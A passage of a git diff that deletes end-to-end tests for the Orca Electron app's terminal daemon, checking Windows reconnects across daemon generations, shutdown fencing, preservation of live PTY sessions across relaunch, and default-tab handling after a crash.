GenerationCanary): string { - return `${canary.generation.label}-${canary.role}` -} - -function killEvents(generation: DaemonGeneration, sessionId: string): Record[] { - return generation - .logEvents() - .filter((event) => event.event === 'session-killed' && event.sessionId === sessionId) -} - -function helloCount(generation: DaemonGeneration): number { - return generation.logEvents().filter((event) => event.event === 'client-hello-accepted').length -} - -async function collectLiveness( - generations: readonly DaemonGeneration[], - canaries: readonly GenerationCanary[] -): Promise { - const identities: RecordedProcessIdentity[] = [ - ...generations.map((generation) => generation.identity), - ...canaries.flatMap((canary) => [canary.rootIdentity, canary.descendantIdentity]) - ] - const live = await processIdentityLiveness(identities) - return { - daemons: Object.fromEntries( - generations.map((generation) => [ - generation.label, - live.get(generation.identity.pid) === true - ]) - ), - roots: Object.fromEntries( - canaries.map((canary) => [canaryLabel(canary), live.get(canary.rootIdentity.pid) === true]) - ), - descendants: Object.fromEntries( - canaries.map((canary) => [ - canaryLabel(canary), - live.get(canary.descendantIdentity.pid) === true - ]) - ) - } -} - -function launchReconnectClient(options: { - runtime: DaemonGenerationRuntime - generations: readonly DaemonGeneration[] - canaries: readonly GenerationCanary[] -}): { child: ChildProcess; ready: Promise; finish(): void; output(): string } { - const { runtime, generations, canaries } = options - const configPath = path.join(runtime.rootDir, 'reconnect-client-config.json') - writeFileSync( - configPath, - `${JSON.stringify({ - generations: generations.map((generation) => ({ - protocolVersion: generation.protocolVersion, - socketPath: generation.socketPath, - tokenPath: generation.tokenPath - })), - currentProtocolVersion: PROTOCOL_VERSION, - daemonDir: runtime.daemonDir, - historyDir: path.join(runtime.userDataDir, 'terminal-history'), - sessions: canaries.map((canary) => ({ - protocolVersion: canary.generation.protocolVersion, - sessionId: canary.sessionId, - rootPid: canary.rootIdentity.pid, - label: canaryLabel(canary), - role: canary.role - })), - reconnectBursts: RECONNECT_BURSTS, - cwd: runtime.rootDir - })}\n` - ) - let output = '' - const child = fork(runtime.reconnectClientEntryPath, ['--config', configPath], { - cwd: runtime.userDataDir, - execPath: runtime.electronPath, - windowsHide: true, - env: { - ...process.env, - ELECTRON_RUN_AS_NODE: '1', - NODE_PATH: path.join(process.cwd(), 'node_modules'), - ORCA_USER_DATA_PATH: runtime.userDataDir - }, - stdio: ['ignore', 'ignore', 'pipe', 'ipc'] - }) - child.stderr?.on('data', (chunk: Buffer) => { - output = `${output}${chunk.toString('utf8')}`.slice(-32_768) - }) - const ready = new Promise((resolve, reject) => { - const timer = setTimeout( - () => reject(new Error(`Reconnect client timed out: ${output}`)), - 60_000 - ) - const settle = (callback: () => void): void => { - clearTimeout(timer) - child.off('message', onMessage) - child.off('exit', onExit) - callback() - } - const onExit = (code: number | null): void => - settle(() => reject(new Error(`Reconnect client exited with ${code}: ${output}`))) - const onMessage = (message: unknown): void => { - const payload = message as { - type?: unknown - message?: unknown - closeAttempts?: Record - } - if (payload.type === 'error') { - settle(() => reject(new Error(String(payload.message)))) - } else if (payload.type === 'close-bursts-complete') { - settle(() => resolve({ closeAttempts: payload.closeAttempts ?? {} })) - } - } - child.on('message', onMessage) - child.once('exit', onExit) - }) - return { - child, - ready, - finish: () => { - if (!child.connected) { - return - } - try { - child.send?.({ type: 'finish' }, () => {}) - } catch { - // The fixture can finish between the connected check and the IPC write. - } - }, - output: () => output - } -} - -async function finishReconnectClient( - client: ReturnType -): Promise { - if (!client.child.pid || client.child.exitCode !== null) { - return - } - const identity = await recordProcessIdentity(client.child.pid) - client.finish() - try { - await waitForCondition('reconnect client exit', () => client.child.exitCode !== null, 2_000) - } catch { - await terminateRecordedTree(await recordProcessTree(identity)) - } -} - -function writeEventReconstruction(options: { - testInfo: TestInfo - generations: readonly DaemonGeneration[] - beforeClose: LivenessReport - afterClose: LivenessReport - helloBaselines: ReadonlyMap - targetCanaries: readonly GenerationCanary[] - closeBurst: CloseBurstReport - clientPid: number | undefined -}): void { - const { - testInfo, - generations, - beforeClose, - afterClose, - helloBaselines, - targetCanaries, - closeBurst, - clientPid - } = options - writeFileSync( - testInfo.outputPath('daemon-generation-reconnect-events.json'), - `${JSON.stringify( - { - capturedAt: new Date().toISOString(), - reconnectClientPid: clientPid, - beforeClose, - afterClose, - closeBurst, - generations: generations.map((generation) => ({ - label: generation.label, - protocolVersion: generation.protocolVersion, - daemonPid: generation.identity.pid, - daemonStartedAtMs: generation.identity.startedAtMs, - acceptedHellosDuringReconnect: - helloCount(generation) - (helloBaselines.get(generation.protocolVersion) ?? 0), - targetKills: targetCanaries - .filter((canary) => canary.generation === generation) - .map((canary) => ({ - sessionId: canary.sessionId, - events: killEvents(generation, canary.sessionId) - })) - })) - }, - null, - 2 - )}\n` - ) -} - -async function cleanupGenerationTestFixtures(options: { - runtime: DaemonGenerationRuntime - generations: readonly DaemonGeneration[] - canaries: readonly GenerationCanary[] - retainDiagnostics: boolean -}): Promise { - const { runtime, generations, canaries, retainDiagnostics } = options - if (retainDiagnostics) { - runtime.retainDiagnostics(generations) - } - try { - await cleanupDaemonGenerationFixtures({ generations, canaries }) - } catch (error) { - runtime.retainDiagnostics(generations) - throw error - } - runtime.remove() -} - -test.describe.configure({ mode: 'serial' }) - -test('native Windows reconnect cannot turn stale mirror exits into cross-generation kills', async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires the fixture argument before testInfo. -{}, testInfo) => { - test.skip(process.platform !== 'win32', 'Native Windows named pipes and ConPTY are required') - test.setTimeout(180_000) - const fixtureRuntime = await createDaemonGenerationRuntime(testInfo) - const generations: DaemonGeneration[] = [] - const canaries: GenerationCanary[] = [] - let client: ReturnType | null = null - let assertionsComplete = false - - try { - for (const protocolVersion of ALL_GENERATION_PROTOCOLS) { - const generation = await launchDaemonGeneration({ - runtime: fixtureRuntime, - label: generationLabel(protocolVersion), - protocolVersion - }) - generations.push(generation) - for (const role of ['live', 'stale-mirror'] as const) { - canaries.push(await spawnGenerationCanary({ runtime: fixtureRuntime, generation, role })) - } - } - expect(new Set(generations.map((generation) => generation.socketPath)).size).toBe( - ALL_GENERATION_PROTOCOLS.length - ) - expect( - generations.every( - (generation) => - generation.socketPath.startsWith('\\\\') && - generation.socketPath.includes( - `\\pipe\\orca-terminal-host-v${generation.protocolVersion}-` - ) - ) - ).toBe(true) - - const helloBaselines = new Map( - generations.map((generation) => [generation.protocolVersion, helloCount(generation)]) - ) - for (const canary of canaries) { - await canary.adapter.disconnectOnly() - canary.adapter.dispose() - } - const beforeClose = await collectLiveness(generations, canaries) - expect(Object.values(beforeClose.daemons).every(Boolean)).toBe(true) - expect(Object.values(beforeClose.roots).every(Boolean)).toBe(true) - expect(Object.values(beforeClose.descendants).every(Boolean)).toBe(true) - - client = launchReconnectClient({ runtime: fixtureRuntime, generations, canaries }) - const closeBurst = await client.ready - expect(client.child.exitCode).toBeNull() - for (const generation of generations) { - expect( - helloCount(generation) - helloBaselines.get(generation.protocolVersion)! - ).toBeGreaterThanOrEqual(RECONNECT_BURSTS * 2) - } - - const targetCanaries = canaries.filter((canary) => canary.role === 'stale-mirror') - expect(Object.values(closeBurst.closeAttempts)).toHaveLength(targetCanaries.length) - expect(Object.values(closeBurst.closeAttempts).every((attempts) => attempts === 3)).toBe(true) - const afterFirstClient = await collectLiveness(generations, canaries) - expect(client.child.exitCode).toBeNull() - expect(Object.values(afterFirstClient.roots).every(Boolean)).toBe(true) - expect(Object.values(afterFirstClient.descendants).every(Boolean)).toBe(true) - - const firstClient = client - await finishReconnectClient(firstClient) - client = launchReconnectClient({ runtime: fixtureRuntime, generations, canaries }) - const relaunchCloseBurst = await client.ready - expect(client.child.exitCode).toBeNull() - const combinedCloseBurst: CloseBurstReport = { - closeAttempts: Object.fromEntries( - Object.entries(closeBurst.closeAttempts).map(([tabId, attempts]) => [ - tabId, - attempts + (relaunchCloseBurst.closeAttempts[tabId] ?? 0) - ]) - ) - } - expect( - Object.values(combinedCloseBurst.closeAttempts).every((attempts) => attempts === 6) - ).toBe(true) - const afterClose = await collectLiveness(generations, canaries) - writeEventReconstruction({ - testInfo, - generations, - beforeClose, - afterClose, - helloBaselines, - targetCanaries, - closeBurst: combinedCloseBurst, - clientPid: client.child.pid - }) - expect(client.child.exitCode).toBeNull() - expect(Object.values(afterClose.daemons).every(Boolean)).toBe(true) - expect(Object.values(afterClose.roots).every(Boolean)).toBe(true) - expect(Object.values(afterClose.descendants).every(Boolean)).toBe(true) - // Require zero kills across all stale-mirror close paths and relaunch; surviving canaries alone cannot prove no kill was attempted. - expect( - targetCanaries.every((canary) => killEvents(canary.generation, canary.sessionId).length === 0) - ).toBe(true) - expect(targetCanaries.every((canary) => afterClose.roots[canaryLabel(canary)])).toBe(true) - assertionsComplete = true - } finally { - if (client) { - await finishReconnectClient(client) - } - await cleanupGenerationTestFixtures({ - runtime: fixtureRuntime, - generations, - canaries, - retainDiagnostics: !assertionsComplete - }) - } -}) - -test('shutdown disposal failure drops authority within a bounded window', async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires the fixture argument before testInfo. -{}, testInfo) => { - test.skip(process.platform !== 'win32', 'Native Windows named pipes and ConPTY are required') - test.setTimeout(60_000) - const fixtureRuntime = await createDaemonGenerationRuntime(testInfo) - const generations: DaemonGeneration[] = [] - const canaries: GenerationCanary[] = [] - let assertionsComplete = false - - try { - const generation = await launchDaemonGeneration({ - runtime: fixtureRuntime, - label: 'generation-v23-refused-dispose', - protocolVersion: 23, - refuseDispose: true - }) - generations.push(generation) - const canary = await spawnGenerationCanary({ - runtime: fixtureRuntime, - generation, - role: 'live' - }) - canaries.push(canary) - const shutdownClient = new DaemonClient({ - socketPath: generation.socketPath, - tokenPath: generation.tokenPath, - protocolVersion: generation.protocolVersion - }) - await shutdownClient.ensureConnected() - - const startedAt = Date.now() - await expect(shutdownClient.request('shutdown', { killSessions: true })).resolves.toEqual({}) - shutdownClient.disconnect() - expect(Date.now() - startedAt).toBeLessThan(15_000) - await waitForCondition('shutdown-dispose-failed log', () => - generation.logEvents().some((event) => event.event === 'shutdown-dispose-failed') - ) - const lateClient = new DaemonClient({ - socketPath: generation.socketPath, - tokenPath: generation.tokenPath, - protocolVersion: generation.protocolVersion - }) - await expect(lateClient.ensureConnected()).rejects.toThrow() - lateClient.disconnect() - const fencedLiveness = await collectLiveness(generations, canaries) - // Disposal failure can strand the fixture PTY; fencing must revoke authority without claiming it vanished. - expect(fencedLiveness.daemons[generation.label]).toBe(true) - expect(fencedLiveness.roots[canaryLabel(canary)]).toBe(true) - expect(fencedLiveness.descendants[canaryLabel(canary)]).toBe(true) - expect(generation.logEvents()).toEqual( - expect.arrayContaining([ - expect.objectContaining({ event: 'shutdown', reason: 'rpc', killSessions: true }), - expect.objectContaining({ event: 'shutdown-dispose-failed' }) - ]) - ) - assertionsComplete = true - } finally { - await cleanupGenerationTestFixtures({ - runtime: fixtureRuntime, - generations, - canaries, - retainDiagnostics: !assertionsComplete - }) - } -}) diff --git a/tests/e2e/daemon-live-session-preservation.spec.ts b/tests/e2e/daemon-live-session-preservation.spec.ts deleted file mode 100644 index d6732f00432..00000000000 --- a/tests/e2e/daemon-live-session-preservation.spec.ts +++ /dev/null @@ -1,113 +0,0 @@ -import { existsSync, readFileSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { - discoverActivePtyId, - execInTerminal, - getTerminalContent, - waitForActiveTerminalManager, - waitForPaneCount, - waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { PTY_SESSION_ID_SEPARATOR } from '../../src/shared/terminal/pty/lifecycle/pty-session-id-format' - -function daemonPidPath(userDataDir: string): string { - return path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`) -} - -function readDaemonPid(userDataDir: string): number { - const raw = readFileSync(daemonPidPath(userDataDir), 'utf8') - const parsed = JSON.parse(raw) as { pid?: unknown } - if (typeof parsed.pid !== 'number') { - throw new Error(`Daemon pid file did not contain a numeric pid: ${raw}`) - } - return parsed.pid -} - -function spoofDaemonEntryPath(userDataDir: string): void { - const pidPath = daemonPidPath(userDataDir) - const parsed = JSON.parse(readFileSync(pidPath, 'utf8')) as Record - parsed.entryPath = '/tmp/orca-e2e-old-app/out/main/daemon-entry.js' - writeFileSync(pidPath, `${JSON.stringify(parsed)}\n`) -} - -async function bootstrapLaunch( - app: ElectronApplication, - repoPath: string -): Promise<{ ptyId: string; worktreeId: string }> { - const page = await app.firstWindow() - const worktreeId = await attachRepoAndOpenTerminal(page, repoPath) - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneCount(page, 1, 30_000) - const ptyId = await discoverActivePtyId(page) - return { ptyId, worktreeId } -} - -test.describe.configure({ mode: 'serial' }) - -test('preserves a live daemon PTY when the daemon launch identity is stale', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const { ptyId, worktreeId } = await bootstrapLaunch(firstApp, repoPath) - expect(ptyId).toContain(PTY_SESSION_ID_SEPARATOR) - - const marker = `DAEMON_LIVE_PRESERVE_${Date.now()}` - await execInTerminal(firstLaunch.page, ptyId, `echo ${marker}`) - await waitForTerminalOutput(firstLaunch.page, marker) - - const daemonPidBefore = readDaemonPid(session.userDataDir) - - await session.close(firstApp) - firstApp = null - - // Change the launch identity while preserving the live daemon to model app updates or dev-path changes. - spoofDaemonEntryPath(session.userDataDir) - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await waitForSessionReady(secondLaunch.page) - await expect - .poll( - async () => secondLaunch.page.evaluate(() => window.__store?.getState().activeWorktreeId), - { - timeout: 10_000 - } - ) - .toBe(worktreeId) - await ensureTerminalVisible(secondLaunch.page) - await waitForActiveTerminalManager(secondLaunch.page, 30_000) - await waitForPaneCount(secondLaunch.page, 1, 30_000) - await waitForTerminalOutput(secondLaunch.page, marker, 15_000) - - expect(readDaemonPid(session.userDataDir)).toBe(daemonPidBefore) - expect(await getTerminalContent(secondLaunch.page)).not.toContain('--- session restored ---') - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } -}) diff --git a/tests/e2e/daemon-running-work-probe.unit.test.ts b/tests/e2e/daemon-running-work-probe.unit.test.ts deleted file mode 100644 index 43496f28f86..00000000000 --- a/tests/e2e/daemon-running-work-probe.unit.test.ts +++ /dev/null @@ -1,91 +0,0 @@ -import { afterEach, expect, it, vi } from 'vitest' -import { Session } from '../../src/main/daemon/sessions/session' -import { inspectTerminalHostProcess } from '../../src/main/daemon/terminal-host/terminal-host-process-inspection' -import type * as SnapshotReader from '../../src/shared/process-observation/tables/process-table-snapshot-reader' -import type { ProcessTableRow } from '../../src/shared/process-observation/tables/process-table-snapshot' -import { probePtyRunningWorkWithInspection } from '../../src/shared/terminal/pty/lifecycle/pty-running-work-probe' - -const { readSnapshot } = vi.hoisted(() => ({ - readSnapshot: vi.fn() -})) -vi.mock( - '../../src/shared/process-observation/tables/process-table-snapshot-reader', - async (importOriginal) => ({ - ...(await importOriginal()), - getStrictProcessTableSnapshotWithAge: readSnapshot - }) -) - -afterEach(() => vi.restoreAllMocks()) - -it.each(['stopped', 'background', 'idle', 'unreadable'] as const)( - 'carries daemon child evidence through the real close guard for %s work', - async (state) => { - vi.spyOn(process, 'platform', 'get').mockReturnValue('darwin') - const root: ProcessTableRow = { - pid: 100, - ppid: 1, - pgid: 100, - tpgid: 101, - tty: 'ttys001', - startTime: 'Thu Sep 3 16:02:01 2026', - stat: 'Ss', - command: 'login -fp user' - } - const rows = [root, { ...root, pid: 101, ppid: 100, pgid: 101, stat: 'S+', command: '-zsh' }] - if (state === 'background' || state === 'stopped') { - rows.push({ - ...root, - pid: 102, - ppid: 101, - pgid: 102, - stat: state === 'stopped' ? 'T' : 'S', - command: 'vim draft.txt' - }) - } - if (state === 'unreadable') { - readSnapshot.mockRejectedValue(new Error('unreadable')) - } else { - readSnapshot.mockResolvedValue({ rows, capturedAgeMs: 0 }) - } - const session = new Session({ - sessionId: 'close-guard', - cols: 80, - rows: 24, - scrollback: 10, - shellReadySupported: false, - subprocess: { - pid: 100, - processNameIsSpawnFile: true, - getForegroundProcess: () => 'zsh', - write() {}, - resize() {}, - kill() {}, - forceKill() {}, - signal() {}, - dispose() {}, - onData() {}, - onExit() {}, - terminateOwnedTree: () => 'unavailable' - } - }) - try { - const [result] = await probePtyRunningWorkWithInspection( - ['remote:owner:close-guard'], - { timeoutMs: 1000 }, - () => - inspectTerminalHostProcess({ - sessionId: session.sessionId, - session, - authorityGeneration: 'owner', - nextObservationEpoch: () => 1 - }) - ) - expect(result.verdict).toBe( - state === 'idle' ? 'exited' : state === 'unreadable' ? 'unverifiable' : 'live' - ) - } finally { - session.dispose() - } - } -) diff --git a/tests/e2e/daemon-slow-health-check-preservation.spec.ts b/tests/e2e/daemon-slow-health-check-preservation.spec.ts deleted file mode 100644 index d62da6abffd..00000000000 --- a/tests/e2e/daemon-slow-health-check-preservation.spec.ts +++ /dev/null @@ -1,112 +0,0 @@ -import { existsSync, readFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { - discoverActivePtyId, - execInTerminal, - getTerminalContent, - waitForActiveTerminalManager, - waitForPaneCount, - waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { E2E_FORCE_DAEMON_HEALTH_UNREACHABLE_ENV } from '../../src/main/daemon/health/daemon-health' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { PTY_SESSION_ID_SEPARATOR } from '../../src/shared/terminal/pty/lifecycle/pty-session-id-format' - -// Delay guard decisions beyond electron.launch so the test can attach its stderr listener. -const GUARD_DECISION_DELAY_MS = 3_000 - -function readDaemonPid(userDataDir: string): number { - const raw = readFileSync( - path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`), - 'utf8' - ) - const parsed = JSON.parse(raw) as { pid?: unknown } - if (typeof parsed.pid !== 'number') { - throw new Error(`Daemon pid file did not contain a numeric pid: ${raw}`) - } - return parsed.pid -} - -test.describe.configure({ mode: 'serial' }) - -test('preserves a live daemon PTY when the daemon is too slow for the startup health check', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const page = await firstApp.firstWindow() - const worktreeId = await attachRepoAndOpenTerminal(page, repoPath) - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneCount(page, 1, 30_000) - const ptyId = await discoverActivePtyId(page) - expect(ptyId).toContain(PTY_SESSION_ID_SEPARATOR) - - const marker = `DAEMON_SLOW_HEALTH_PRESERVE_${Date.now()}` - await execInTerminal(firstLaunch.page, ptyId, `echo ${marker}`) - await waitForTerminalOutput(firstLaunch.page, marker) - - const daemonPid = readDaemonPid(session.userDataDir) - - await session.close(firstApp) - firstApp = null - - const stderrLines: string[] = [] - // Force only health unreachable: SIGSTOP also blocks listSessions and races the preserve decision. - // Delay init until Playwright releases stderr after launch or the decision log is lost. - const secondLaunch = await session.launch({ - extraEnv: { - [E2E_FORCE_DAEMON_HEALTH_UNREACHABLE_ENV]: '1', - ORCA_E2E_DAEMON_INIT_DELAY_MS: String(GUARD_DECISION_DELAY_MS) - }, - onStderr: (chunk) => stderrLines.push(chunk) - }) - secondApp = secondLaunch.app - - await waitForSessionReady(secondLaunch.page) - await expect - .poll( - async () => secondLaunch.page.evaluate(() => window.__store?.getState().activeWorktreeId), - { timeout: 15_000 } - ) - .toBe(worktreeId) - await ensureTerminalVisible(secondLaunch.page) - await waitForActiveTerminalManager(secondLaunch.page, 30_000) - await waitForPaneCount(secondLaunch.page, 1, 30_000) - await waitForTerminalOutput(secondLaunch.page, marker, 20_000) - - // A stable PID also passes healthy adoption; require the guard’s preserve decision to prove this failure path ran. - await expect - .poll(() => stderrLines.join(''), { timeout: 10_000 }) - .toMatch(/preserv\w*\s+daemon[^\n]*health check/i) - expect(readDaemonPid(session.userDataDir)).toBe(daemonPid) - expect(stderrLines.join('')).not.toMatch(/\breplacing daemon\b/i) - // Cold restore can replay the marker; absence of its banner distinguishes a live session. - expect(await getTerminalContent(secondLaunch.page)).not.toContain('--- session restored ---') - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } -}) diff --git a/tests/e2e/daemon-slow-init-pty-gate.spec.ts b/tests/e2e/daemon-slow-init-pty-gate.spec.ts deleted file mode 100644 index 419e27f04d6..00000000000 --- a/tests/e2e/daemon-slow-init-pty-gate.spec.ts +++ /dev/null @@ -1,106 +0,0 @@ -import { existsSync, readFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { - discoverActivePtyId, - execInTerminal, - getTerminalContent, - waitForActiveTerminalManager, - waitForPaneCount, - waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { PTY_SESSION_ID_SEPARATOR } from '../../src/shared/terminal/pty/lifecycle/pty-session-id-format' - -// Outlast the 12s first-window timeout but stay below the 60s local-PTY fail-open cap (#5232). -const DAEMON_INIT_DELAY_MS = 15_000 - -function readDaemonPid(userDataDir: string): number { - const raw = readFileSync( - path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`), - 'utf8' - ) - const parsed = JSON.parse(raw) as { pid?: unknown } - if (typeof parsed.pid !== 'number') { - throw new Error(`Daemon pid file did not contain a numeric pid: ${raw}`) - } - return parsed.pid -} - -test.describe.configure({ mode: 'serial' }) - -test('reattaches daemon PTYs when daemon init outlasts the first-window timeout', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const page = await firstApp.firstWindow() - const worktreeId = await attachRepoAndOpenTerminal(page, repoPath) - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneCount(page, 1, 30_000) - const ptyId = await discoverActivePtyId(page) - expect(ptyId).toContain(PTY_SESSION_ID_SEPARATOR) - - const marker = `DAEMON_SLOW_INIT_GATE_${Date.now()}` - await execInTerminal(firstLaunch.page, ptyId, `echo ${marker}`) - await waitForTerminalOutput(firstLaunch.page, marker) - - const daemonPidBefore = readDaemonPid(session.userDataDir) - - await session.close(firstApp) - firstApp = null - - // Inherited env delays daemon-provider init in the relaunched app beyond the first-window timeout. - process.env.ORCA_E2E_DAEMON_INIT_DELAY_MS = String(DAEMON_INIT_DELAY_MS) - try { - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - - await waitForSessionReady(secondLaunch.page) - await expect - .poll( - async () => secondLaunch.page.evaluate(() => window.__store?.getState().activeWorktreeId), - { timeout: 15_000 } - ) - .toBe(worktreeId) - await ensureTerminalVisible(secondLaunch.page) - await waitForActiveTerminalManager(secondLaunch.page, 45_000) - await waitForPaneCount(secondLaunch.page, 1, 45_000) - // Require the original daemon session’s marker; a fresh LocalPtyProvider terminal would lack it. - await waitForTerminalOutput(secondLaunch.page, marker, 45_000) - - const reattachedPtyId = await discoverActivePtyId(secondLaunch.page) - expect(reattachedPtyId).toContain(PTY_SESSION_ID_SEPARATOR) - expect(reattachedPtyId).toBe(ptyId) - expect(readDaemonPid(session.userDataDir)).toBe(daemonPidBefore) - expect(await getTerminalContent(secondLaunch.page)).not.toContain('--- session restored ---') - } finally { - delete process.env.ORCA_E2E_DAEMON_INIT_DELAY_MS - } - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } -}) diff --git a/tests/e2e/default-tabs-mark-crash-relaunch.spec.ts b/tests/e2e/default-tabs-mark-crash-relaunch.spec.ts deleted file mode 100644 index c1a2b6be9b5..00000000000 --- a/tests/e2e/default-tabs-mark-crash-relaunch.spec.ts +++ /dev/null @@ -1,180 +0,0 @@ -// Crash before debounced saves or terminal starts can persist default-tab marks; relaunch must not apply the defaults again. - -import { existsSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { waitForSessionReady } from './helpers/store' - -const LAYOUT_OWNER_BUILD = existsSync( - path.join(process.cwd(), 'out', 'main', 'ORCA_LAYOUT_OWNER_MAIN') -) -const TEMPLATES = [{ title: 'p6-default-a' }, { title: 'p6-default-b' }] -const TITLES = TEMPLATES.map((template) => template.title) - -type DefaultTabs = { tabs: { title: string }[]; runCommands: false } - -async function withholdSavesAndTerminalStarts(app: ElectronApplication): Promise { - await app.evaluate(({ ipcMain }) => { - for (const channel of ['session:set', 'session:patch']) { - ipcMain.removeHandler(channel) - ipcMain.handle(channel, () => undefined) - } - ipcMain.removeHandler('pty:spawn') - ipcMain.handle('pty:spawn', () => new Promise(() => {})) - }) -} - -async function activateWithDefaultTabs( - app: ElectronApplication, - repoId: string, - worktreeId: string, - defaultTabs: DefaultTabs -): Promise { - await app.evaluate( - ({ BrowserWindow }, payload) => { - for (const window of BrowserWindow.getAllWindows()) { - window.webContents.send('ui:activateWorktree', payload) - } - }, - { repoId, worktreeId, defaultTabs } - ) -} - -async function crash(app: ElectronApplication): Promise { - const exited = new Promise((resolve) => app.process().once('exit', () => resolve())) - app.process().kill('SIGKILL') - await exited -} - -async function workspaceTabs(page: Page, worktreeId: string) { - return page.evaluate((id) => { - const state = window.__store!.getState() - return { - marked: state.defaultTerminalTabsAppliedByWorktreeId[id] === true, - tabs: (state.tabsByWorktree[id] ?? []).map((tab) => ({ - title: tab.customTitle ?? null, - ptyId: tab.ptyId ?? null - })) - } - }, worktreeId) -} - -async function createUnopenedWorktree(page: Page, name: string) { - return page.evaluate(async (worktreeName) => { - const state = window.__store!.getState() - const repoId = state.allWorktrees()[0]?.repoId - if (!repoId) { - throw new Error('seed repo was not loaded') - } - const created = await state.createWorktree(repoId, worktreeName, undefined, 'skip') - return { repoId, worktreeId: created.worktree.id } - }, name) -} - -async function waitForWorktree(page: Page, worktreeId: string): Promise { - await expect - .poll( - () => - page.evaluate( - (id) => - window - .__store!.getState() - .allWorktrees() - .some((worktree) => worktree.id === id), - worktreeId - ), - { timeout: 30_000 } - ) - .toBe(true) -} - -async function crashThenOfferTemplates( - testRepoPath: string, - testInfo: Parameters[0], - first: DefaultTabs -) { - const session = createRestartSession(testInfo) - let app: ElectronApplication | undefined - try { - const launched = await session.launch() - app = launched.app - await waitForSessionReady(launched.page) - await attachRepoAndOpenTerminal(launched.page, testRepoPath) - const { repoId, worktreeId } = await createUnopenedWorktree( - launched.page, - `p6-default-tabs-${Date.now()}` - ) - expect((await workspaceTabs(launched.page, worktreeId)).marked).toBe(false) - - await withholdSavesAndTerminalStarts(app) - await activateWithDefaultTabs(app, repoId, worktreeId, first) - await expect - .poll(async () => (await workspaceTabs(launched.page, worktreeId)).marked, { - timeout: 15_000 - }) - .toBe(true) - // Long enough for a command to main to land; no window save or terminal start can. - await launched.page.waitForTimeout(1_500) - const beforeCrash = await workspaceTabs(launched.page, worktreeId) - expect(beforeCrash.tabs.every((tab) => tab.ptyId === null)).toBe(true) - await crash(app) - app = undefined - - const relaunched = await session.launch() - app = relaunched.app - await waitForSessionReady(relaunched.page) - await waitForWorktree(relaunched.page, worktreeId) - const restored = await workspaceTabs(relaunched.page, worktreeId) - await activateWithDefaultTabs(app, repoId, worktreeId, { tabs: TEMPLATES, runCommands: false }) - await expect - .poll(() => relaunched.page.evaluate(() => window.__store!.getState().activeWorktreeId), { - timeout: 15_000 - }) - .toBe(worktreeId) - await 